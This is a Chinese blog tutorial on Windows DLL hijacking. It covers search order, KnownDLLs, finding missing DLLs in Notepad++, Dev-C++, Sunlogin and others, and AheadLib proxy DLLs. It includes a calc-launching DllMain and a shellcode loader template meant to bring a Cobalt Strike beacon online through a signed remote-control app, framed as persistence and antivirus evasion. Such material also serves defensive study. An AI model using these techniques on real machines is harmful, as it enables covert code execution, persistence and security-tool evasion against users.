首页 > 其他分享 >DLL挟持

DLL挟持

时间:2024-07-18 11:30:02浏览次数:14  
标签:case 文件 调用 DLL dll include 挟持

DLL挟持分享

1 什么是dll

DLL(Dynamic Link Library)文件为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

动态链接库的目的就是使软件的体积变小,把功能封装到dll文件里,比如当qq软件进行更新时只需要去升级dll文件就可以,而不用从源码上去修改,可以大大的提高开发的效率。当exe启动的时候可以动态的调用dll文件。

注意,编译的时候使用x86编译只能32位的程序去用,x64的编译只能x64的程序能用

2 如何编写dll文件

使用vs创建动态链接库

注释处有解析帮助简单理解

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule, //dll加载入内存中的起点(句柄)
                       DWORD  ul_reason_for_call, //dll加载的原因
                       LPVOID lpReserved //参数通常为 NULL
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: //进程的启动
    case DLL_THREAD_ATTACH: //线程的启动
    case DLL_THREAD_DETACH: //线程的结束
    case DLL_PROCESS_DETACH: //进程的结束
        break;
    }
    return TRUE;
}

如何给dll文件添加导出函数

首先先添加def文件,在文件中写入如下代码

EXPORTS
fun1

生成dll文件,到PE中进行查看,可以看到已经成功的写入导出函数

如何调用导出函数

两种读取方式

1 通过函数名调用

2 通过序号调用

#include<stdio.h>
#include<Windows.h>

typedef int(__stdcall* pfun)();

int main() {
	HMODULE dll1 = LoadLibraryA("C:\\Users\\ws\\source\\repos\\Dll3\\Debug\\dll3.dll");
	//1 通过函数名调用
	pfun wstest = (pfun)GetProcAddress(dll1, "funtest");
	//2 通过序号调用
	//pfun wstest = (pfun)GetProcAddress(dll1, (LPCSTR)2);
	printf("%d", wstest());
}

3 DLL利用场景

揪出隐藏的内鬼“DLL白利用”

权限维持,在自启文件中添加dll文件直接机器重启直接上线

白加黑上线(寻找带数字签名的exe,会过掉一部分杀软拦截)

4 DLL加载顺序

1 进程对应的应用程序所在目录(程序所在目录)
2 系统目录(即C:\Windows\System32);
3 16位系统目录(C:\Windows\System);
4 Windows目录(可以使用GetWindowsDirectory函数获取此目录的路径);
5 当前目录(运行的某个文件所在目录)
6 PATH环境变量中的各个目录;

5 被保护的DLL

KnownDlls必须是在系统目录中,并且是在系统启动的时候,从注册表读取KnownDlls列表之后,如果加载这个dll,首先搜索系统目录,其次搜索当前目录。

注册表中的位置:

计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

kernel32.dll
wow64cpu.dll
wowarmhw.dll
xtajit.dll
advapi32.dll
clbcatq.dll
combase.dll
COMDLG32.dll
coml2.dll
difxapi.dll
gdi32.dll
gdiplus.dll
IMAGEHLP.dll
IMM32.dll
MSCTF.dll
MSVCRT.dll
NORMALIZ.dll
NSI.dll
ole32.dll
OLEAUT32.dll
PSAPI.DLL
rpcrt4.dll
sechost.dll
Setupapi.dll
SHCORE.dll
SHELL32.dll
SHLWAPI.dll
user32.dll
WLDAP32.dll
wow64.dll
wow64base.dll
wow64con.dll
wow64win.dll
WS2_32.dll
xtajit64.dll

6 DLL挟持使用的工具

1 火绒剑

右上角可快速搜索进程

2 ProcessExplorer

打开文件右上角搜索

3 ProcessMonitor

7 快速发现可用DLL

LoadLibraryLoadLibraryEx一个是本地加载,一个是远程加载,如果DLL不在调用的同一目录下,就可以使用LoadLibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用LoadLibraryEx进行远程加载。

以notepad++6.6 为例

https://notepad-plus-plus.org/downloads/v6.6.6/

1、找不存在的DLL


通过这种方式寻找的DLL大概率可用

8 DLL挟持具体实现

弹计算机dll 代码

// dllmain.cpp : 定义 DLL 应用程序的入口点。
# include "pch.h"
# include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

确定其是多少位的,确定使用vs编译使用的位数

1、notepad++6.6

SciLexer.dll

Msimg32.DLL


2、devcpp

SHFOLDER.DLL

3 向日葵远控

白加黑最好选择有数字签名的,此处需要注意向日葵为64位程序

可用白dll

WindowsCodecs.dll

利用向日葵上线CS

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include "framework.h"
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        unsigned char buf[] = "";

        void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(exec, buf, sizeof(buf));
        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    };

    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

4 网易云音乐

AUDIOSES.DLL

雷蛇

chrome_elf.dll

2、找存在的dll

AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker

这里推荐一款工具

AheadLib.exe

在devcpp中的version.dll中并没有发现其有loadlibrary函数,但是这个函数存在且不再被保护的名单当中。

copy dll文件到桌面打开该文件

直接点击生成

会生成一个cpp文件

cpp文件直接用vs编译

头文件添加 pch.h (一定要加在最上面不然会有莫名其妙的错误)

stdlib.h (这个是用来使用system函数)

在main函数中添加调用计算机的命令

将文件重命名为version.dll

直接放到devcpp的启动目录即可

标签:case,文件,调用,DLL,dll,include,挟持
From: https://www.cnblogs.com/Adfind/p/18253400

相关文章

  • 《艾尔登法环》解压时缺少DLL文件怎么处理?艾尔登法环安装时DLL文件缺失应对策略
    随着《艾尔登法环》(EldenRing)DLC的推出,不计其数的玩家都摩拳擦掌,打算迈入这款由FromSoftware精心塑造的开放世界动作角色扮演游戏之中。但是,有一部分玩家在安装的时候碰到了“解压时缺少DLL文件”的状况,致使游戏没办法顺利完成安装。本篇将为大家带来艾尔登法环安装时DLL文件......
  • Yuzu模拟器启动时DLL文件缺失如何处理?Yuzu模拟器启动缺少DLL文件的应对策略
    Yuzu模拟器作为一款深受关注的任天堂Switch模拟软件,给全球的玩家带来了能在个人电脑上尽情畅玩Switch游戏的独特感受。但是,在技术不断进步的同时,通常也会伴随复杂的技术难题。其中,在模拟器启动时出现的“DLL文件缺失”这一问题相当普遍,极大地影响了用户的正常使用。本篇将为大......
  • 《QQ三国》bugreportnew.dll 加载失败:游戏启动难题的深度解析与修复
    遇到《QQ三国》游戏加载bugreportnew.dll失败的问题,通常意味着游戏在启动或运行时未能成功加载或初始化bugreportnew.dll这个动态链接库(DynamicLinkLibrary)文件。bugreportnew.dll文件可能是游戏内置错误报告系统的一部分,用于在游戏崩溃或遇到问题时收集错误信息并生成报告。......
  • 游戏启动难题破解:《天涯明月刀》gbspy64.dll 报错问题的修复手册
    遇到《天涯明月刀》(简称“天刀”)游戏报错模块gbspy64.dll的问题,意味着游戏在启动或运行时未能成功加载或初始化这个动态链接库(DynamicLinkLibrary)文件。gbspy64.dll文件可能与游戏的反作弊系统、性能监控或某些游戏内功能紧密相关。以下是解决gbspy64.dll问题的步骤:1.重新......
  • 彻底解决穿越火线(CF)出现 mini0bject.dll 错误的方法
    在运行穿越火线(CrossFire,简称CF)时,如果遇到mini0bject.dll错误,这通常是由于DLL文件缺失、损坏或与游戏不兼容造成的。以下是一系列推荐的步骤,帮助你彻底解决这一问题:步骤一:重新安装CF彻底卸载CF,使用优化大师或类似工具清理注册表,手动删除所有CF相关文件,然后从官方渠......
  • pytorch|找不到 fbgemm.dll 问题处理
    问题现象运行逻辑:importtorch报错如下:Traceback(mostrecentcalllast):File"C:\scaffold\metasequoia-tyc\ner_address\test_torch.py",line1,in<module>importtorchFile"D:\py\Python310\lib\site-packages\torch\__init__.......
  • 大侠立志传amd_ags_x64.dll丢失的修复教程:轻松教你解决amd_ags_x64.dll文件缺少问题
    当你在尝试运行《大侠立志传》或其他依赖AMD相关组件的游戏时,如果遇到了“amd_ags_x64.dll”文件丢失的错误,这可能是因为游戏需要的动态链接库(DLL)文件未被正确安装或已经损坏。以下是修复“amd_ags_x64.dll”文件丢失问题的一般步骤:步骤1:下载正确的amd_ags_x64.dll文件•首......
  • 人渣生存scum因丢失x3daudio启动受阻:X3daudio1_7.dll丢失或找不到错误操作步骤解析
    当您在运行《人渣生存》(Scum)时遇到“x3daudio1_7.dll丢失或找不到”的错误,这通常意味着系统中缺少该特定的动态链接库文件。以下是详细的解决步骤:方法一:更新显卡驱动程序有时候,这个文件的丢失可能是由于显卡驱动程序过时或损坏。更新显卡驱动程序是解决x3daudio1_7.dll丢......
  • 启动应用程序出现mfc80u.dll找不到问题解决
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个mfc80u.dll文件(挑选合适的版本文件)把它放......
  • 启动应用程序出现mfc90u.dll找不到问题解决
    其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个mfc90u.dll文件(挑选合适的版本文件)把它放......